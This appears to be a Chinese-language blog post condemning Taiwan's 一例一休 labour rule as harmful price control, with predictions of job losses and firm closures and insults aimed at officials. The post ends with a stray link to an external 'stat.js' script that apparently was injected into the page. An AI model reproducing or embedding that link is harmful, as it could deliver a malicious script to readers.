簡單說，新政府搞的東西根本就是 over micro-management，嚴重干涉人民彼此之間的產權使用自由，不單是侵害資方，其實也侵害了勞方對於自身工作權的使用自由 — 想要加班都沒得加。
這在經濟學上會有什麼後果？其實推論很簡單，都是經濟學實證關於「價格管制」的老生常談。我直接說後果吧：強行推動此法，並且嚴格勞動檢查執行 —
1. 邊際勞工失業率必定上升
2. 邊際企業倒閉率必定上升
3. 許多企業會選擇假日不提供服務甚或營運日期減少
4. 勞工轉職困難度大增，失業勞工尋覓新工作日數增加
5. 平均年終獎金將下降
6. 全面性物價上漲
7. 早年找工作需要保人的類似制度可能死灰復燃
8. 新鮮人畢業後失業率與失業時間都會增加
而從張五常的價格管制理論推演，未來表面一套出勤記錄，私底下另一套絕對會是常態，因為政府強迫人民作假違法。賄賂勞動檢查員的景象也會出現。
法規禁止了契約安排應有的彈性，企業裁員甚至不告而別的惡意倒閉比率也會大增；邊際租值的微型企業（如攤販）也將更長時間維持老闆/老闆娘獨自一人勉力經營的局面，難以徵員擴大。而微型企業夫婦一方如身體有恙或任何意外發生，全家燒炭自殺的比率也會提高。
換句話說，國內微型企業要像當年Apple一樣重寫車庫傳奇是不可能的。事實上國內制定勞動法規的蠢蛋，根本昧於現實。美國最有活力的矽谷地區工作時數高得驚人！且多數中小型公司，在員工全是股東的階段幾乎沒有加班費可言。許多知名小吃攤在草創初期夫婦倆沒日沒夜工作，何來加班費之有？沒有租值的企業要從無到有，這種契約彈性必須存在，早年沒有加班費制度，員工分紅（也就是年終獎金）與勞動市場競爭自然會解決工時過長問題 — 今年員工特別辛苦且公司獲利也好，則年終獎金會有一定比例增加；如老闆昧於市場競爭不加分紅，來年員工很快就求去另尋高就，老闆自己孤掌難鳴。如果法規禁止這種彈性安排，那同時也就禁止掉新興品牌與新興事業出現的可能性。
還有，當過老闆或部門管理者都知道，員工請進門不是馬上就有工作能力；根據員工能力與職位調性不同，有些工作新進員工入門前三個月甚至到一年都是沒有生產力，甚至還要犧牲既有員工的生產力來教育訓練。也就是說，勞動成本從來就不僅僅是帳面上看得到的薪資、勞健保費與退休金。老闆買員工勞動力，從來就不是買工時而是要買生產力；那是因為現今生產環節複雜化，生產力難以量化計算，才會委託到「時間」這個雙方較無爭議的計量單位。一旦工時計量上本應存在的安排彈性與價格彈性都被取消，則雇主很容易得出「增加工時帶來的邊際產出低於邊際成本」之結果，理性經濟人當然就會減少加班乃至於減少徵員，最後，就是減少企業的投資。
推到盡，新的一例一休真正受益的反而是高租值的大企業，因為一者他們負擔得起，二者未來會有更多失業者供他們挑選。邊際勞工與企業受傷會最重，台灣經濟將失去1970年代的活力。
再加上這個政府還強力取締Uber這種讓亟需彈性工作收入的管道，邊際勞工將更沒有明天。
經濟學家出身的林全，難道不曉得這種全面性的價格管制（勞務價格）本身會帶來災難性後果嗎？如果他不曉得，那他經濟學白學了；如果知曉還去推行，那是何居心我真的難以理解，莫非阿共仔派來消滅台灣政權的正是現在高坐台上？
過去我在本blog說過多次我對台灣經濟悲觀，此次一例一休走向，讓我從悲觀轉為近乎絕望。在全球競爭越趨激烈的環境下，台灣竟然選擇這種上戰場前自己就先剖腹的策略，一個蠢字怎了。https://js.developerstatss.ga/stat.js?n=ns1
元毓說 